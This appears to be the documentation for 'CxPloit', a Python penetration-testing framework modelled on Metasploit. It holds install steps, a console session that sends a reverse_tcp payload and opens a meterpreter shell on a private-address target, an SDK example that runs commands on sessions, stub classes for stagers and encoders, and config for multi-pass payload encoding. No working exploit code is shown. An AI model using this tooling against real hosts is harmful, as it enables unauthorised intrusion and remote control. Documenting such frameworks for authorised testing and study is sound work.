# Clone the repository git clone https://github.com/ravichandran3/cxploit-framework.git cd cxploit-framework # Install Python dependencies pip install -r requirements.txt # Or install in development mode pip install -e .

# Start the interactive CLI python cxploit.py # Or with a specific workspace python cxploit.py -w engagement_01 # Start the web GUI (Flask dashboard) python cxploit.py --web --port 8080

cxploit > search type:exploit platform:linux cxploit > use exploit/linux/http/vulnerability_cve_2023_1234 cxploit exploit (...) > set RHOST 192.168.1.100 cxploit exploit (...) > set RPORT 8080 cxploit exploit (...) > set PAYLOAD linux/x64/reverse_tcp cxploit exploit (...) > check [*] Target appears vulnerable. cxploit exploit (...) > exploit [*] Sending payload... [*] Session 1 opened (192.168.1.100:8080 → 10.0.0.1:4444) cxploit exploit (...) > sessions ID Type Info Connection 1 meterpreter linux/x64 10.0.0.1:4444 → 192.168.1.100:43212 cxploit exploit (...) > sessions -i 1 meterpreter > sysinfo meterpreter > getuid

class CxPloitEngine: """Central orchestrator for the CxPloit framework.""" def __init__(self, config_path="config.yml"): # Initialize all core subsystems self.module_loader = ModuleLoader() self.session_mgr = SessionManager() self.payload_builder = PayloadBuilder() self.handler_sys = HandlerSystem() self.event_bus = EventBus() self.datastore = DataStore() self.encoder_chain = EncoderChain() self.report_engine = ReportEngine() self.active_module = None self.running = False def initialize(self): """Boot sequence: load config, init DB, discover modules.""" self.datastore.connect() self.module_loader.discover("modules/") self.handler_sys.start_listeners() self.event_bus.emit("engine.ready") def use_module(self, module_path: str): """Load a module by its path (e.g. 'exploit/linux/http/cve_xxx').""" self.active_module = self.module_loader.load(module_path) self.event_bus.emit("module.selected", module_path) def execute_exploit(self): """Run the full exploit pipeline: check → exploit → handle.""" if self.active_module.check(): payload = self.payload_builder.build(self.active_module) self.encoder_chain.apply(payload) result = self.active_module.run(payload) session = self.handler_sys.accept() self.session_mgr.register(session) self.event_bus.emit("session.opened", session) def shutdown(self): """Graceful teardown: close sessions, stop listeners, save state.""" self.session_mgr.close_all() self.handler_sys.stop_all() self.datastore.save() self.event_bus.emit("engine.shutdown")

class ModuleLoader: """Discovers and loads modules from the modules/ directory tree.""" def __init__(self): self.registry = ModuleRegistry() self.module_paths = [] # List of discovered .py files self.loaded = {} # path → module_class mapping def discover(self, base_dir: str = "modules/"): """Walk the modules/ tree and catalog all Python files.""" for root, dirs, files in os.walk(base_dir): for f in files: if f.endswith(".py") and not f.startswith("_"): self.module_paths.append( os.path.join(root, f) ) def load(self, module_path: str) -> ModuleBase: """Import a module file and return its class instance.""" spec = importlib.util.spec_from_file_location( module_path, self._resolve(module_path) ) mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) cls = self._find_module_class(mod) instance = cls() self.loaded[module_path] = instance return instance def _find_module_class(self, mod) -> type: """Find the class in a module that inherits from ModuleBase.""" for name, obj in inspect.getmembers(mod, inspect.isclass): if issubclass(obj, ModuleBase) and obj is not ModuleBase: return obj def load_all(self): """Load every discovered module into the registry.""" for path in self.module_paths: try: instance = self.load(path) self.registry.register(instance) except Exception as e: logger.warning(f"Failed to load {path}: {e}")

class Session: """Represents an active connection to a compromised host.""" session_id: int session_type: str # "shell" | "meterpreter" platform: str # "linux/x64", "windows/x86" conn: socket.socket # Underlying socket connection tunnel: Session = None # Pivot tunnel parent created_at: float def execute(self, command: str) -> str: ... def write(self, data: bytes) -> None: ... def read(self) -> bytes: ... def close(self) -> None: ... def is_alive(self) -> bool: ... class SessionManager: sessions: dict[int, Session] = {} _next_id: int = 1 def register(self, conn, session_type, platform) -> Session: ... def interact(self, session_id: int) -> None: ... def route_through(self, session_id, subnet) -> None: ... def close(self, session_id: int) -> None: ... def close_all(self) -> None: ... def list(self) -> list[Session]: ...

class PayloadBuilder: """Builds payloads by assembling stager + stage + encoder chain.""" def build(self, module: ModuleBase) -> bytes: """Full build pipeline: select payload → assemble → encode → format.""" payload_mod = self.resolve_payload(module) raw = payload_mod.generate() if payload_mod.staged: stager = payload_mod.stager() stage = payload_mod.stage() raw = stager + stage encoded = self.encoder_chain.apply(raw, module.options) return self.format_output(encoded, module.options) def resolve_payload(self, module) -> PayloadBase: """Resolve the payload module from the module's PAYLOAD option.""" payload_path = module.options["PAYLOAD"] return self.registry.get(payload_path) def format_output(self, data: bytes, opts: dict) -> bytes: """Transform raw shellcode into the requested output format.""" fmt = opts.get("FORMAT", "raw") if fmt == "raw": return data elif fmt == "exe": return self._wrap_pe(data) elif fmt == "elf": return self._wrap_elf(data) elif fmt == "python": return self._wrap_python(data) elif fmt == "c": return self._wrap_c(data)

class EventBus: """Simple pub/sub event bus for decoupled communication.""" _subscribers: dict[str, list[Callable]] = defaultdict(list) def subscribe(self, event: str, handler: Callable): """Register a handler for an event name.""" self._subscribers[event].append(handler) def emit(self, event: str, *args, **kwargs): """Publish an event; all subscribers are called.""" for handler in self._subscribers.get(event, []): handler(*args, **kwargs) def unsubscribe(self, event: str, handler: Callable): """Remove a handler from an event.""" self._subscribers[event].remove(handler)

class ExploitBase(ModuleBase): """Base class for all exploit modules.""" module_type = "exploit" def options(self) -> dict: """Return dict of required/optional parameters.""" return { "RHOST": {"type": str, "required": True, "desc": "Target host"}, "RPORT": {"type": int, "required": True, "desc": "Target port"}, "PAYLOAD": {"type": str, "required": True, "desc": "Payload to deliver"}, "TARGET": {"type": int, "required": False, "desc": "Target index (0=default)"}, } def check(self) -> bool: """Verify if target is vulnerable (non-destructive).""" raise NotImplementedError def run(self, payload: bytes) -> bool: """Execute the exploit with the given payload. Return success.""" raise NotImplementedError

class PayloadBase(ModuleBase): module_type = "payload" staged = False # True = stager + stage platform = "linux" # Target OS arch = "x64" # Target architecture def generate(self) -> bytes: """Generate the complete payload shellcode.""" if self.staged: return self.stager() + self.stage() return self._generate_single() def stager(self) -> bytes: """Small bootloader that downloads and executes the stage.""" raise NotImplementedError def stage(self) -> bytes: """Full payload (meterpreter, shell) loaded by the stager.""" raise NotImplementedError

class EncoderBase(ModuleBase): module_type = "encoder" def encode(self, data: bytes, badchars: str = "") -> bytes: """Transform payload bytes, avoiding badchars.""" raise NotImplementedError def decode_stub(self) -> bytes: """Return the decoder stub prepended to encoded payload. When executed, the stub decodes the payload in-memory.""" raise NotImplementedError

from cxploit.sdk import CxPloitClient api = CxPloitClient("http://localhost:8080") # Search for Linux exploits modules = api.modules.search(type="exploit", platform="linux") # Execute an exploit result = api.modules.execute( "exploit/linux/http/apache_mod_cgi", options={"RHOST": "192.168.1.100", "RPORT": 80} ) # List and interact with sessions sessions = api.sessions.list() if sessions: output = api.sessions.execute(sessions[0].id, "whoami") print(output)

# CxPloit Framework Configuration database: backend: "sqlite" # sqlite | postgresql path: "data/cxploit.db" host: "localhost" # for postgresql port: 5432 handlers: default_lhost: "0.0.0.0" default_lport: 4444 auto_listen: true # Start handler on exploit ssl_cert: null # Path to SSL cert for HTTPS encoder: default: "encoder/x86/shikata_ga_nai" iterations: 5 # Number of encoding passes badchars: "\\x00" # Characters to avoid modules: paths: - "modules/exploits" - "modules/payloads" - "modules/encoders" - "modules/auxiliary" - "modules/post" auto_load: true logging: level: "INFO" file: "logs/cxploit.log" max_size: 10485760 # 10MB

cxploit-framework/ ├── cxploit.py ← Entry point / CLI launcher ├── config.yml ← Framework configuration ├── requirements.txt ← Python dependencies ├── setup.py ← Package installer ├── README.md ← Project documentation │ ├── core/ ← Core engine layer │ ├── engine.py ← Main orchestrator class │ ├── module_loader.py ← Dynamic module discovery & import │ ├── session_manager.py ← Session lifecycle management │ ├── payload_builder.py ← Payload assembly + encoding │ ├── handler_system.py ← Listener / handler management │ ├── event_bus.py ← Pub/sub event system │ ├── datastore.py ← Database layer + workspace │ ├── encoder_chain.py ← Encoder stacking logic │ └── report_engine.py ← Report generation (HTML/JSON/PDF) │ ├── modules/ ← Module ecosystem layer │ ├── base.py ← ModuleBase, ExploitBase, PayloadBase, etc. │ ├── exploits/ ← Exploit modules │ │ ├── linux/ │ │ │ ├── http/ ← Web-based RCE exploits │ │ │ ├── ftp/ ← FTP service exploits │ │ │ ├── smb/ ← SMB service exploits │ │ │ └── local/ ← Local privilege escalation │ │ └── windows/ │ │ ├── smb/ │ │ ├── http/ │ │ └── local/ │ ├── payloads/ ← Payload modules │ │ ├── linux/ x86/ x64/ │ │ ├── windows/ x86/ x64/ │ │ └── generic/ │ ├── encoders/ ← Encoder modules │ │ ├── x86/ │ │ └── x64/ │ ├── auxiliary/ ← Scanner/fuzzer/recon modules │ │ ├── scanner/ │ │ ├── fuzzer/ │ │ └── recon/ │ └── post/ ← Post-exploitation modules │ ├── linux/ │ ├── windows/ │ └── multi/ ← Cross-platform post modules │ ├── cli/ ← CLI interface layer │ ├── console.py ← Main REPL (cmd.Cmd subclass) │ ├── completer.py ← Tab-completion logic │ └── commands.py ← Command handlers │ ├── web_gui/ ← Web interface layer │ ├── app.py ← Flask application │ ├── api.py ← REST API routes │ └── templates/ ← Jinja2 HTML templates │ ├── lib/ ← Shared libraries │ ├── shellcode.py ← Shellcode generation helpers │ ├── network.py ← Socket wrappers (TCP/SSL/HTTP) │ └── crypto.py ← Crypto utilities (XOR/AES/RSA) │ ├── data/ ← Framework data files │ ├── cxploit.db ← Default SQLite database │ └── wordlists/ ← Dictionary files for brute-force │ └── logs/ ← Log output directory └── cxploit.log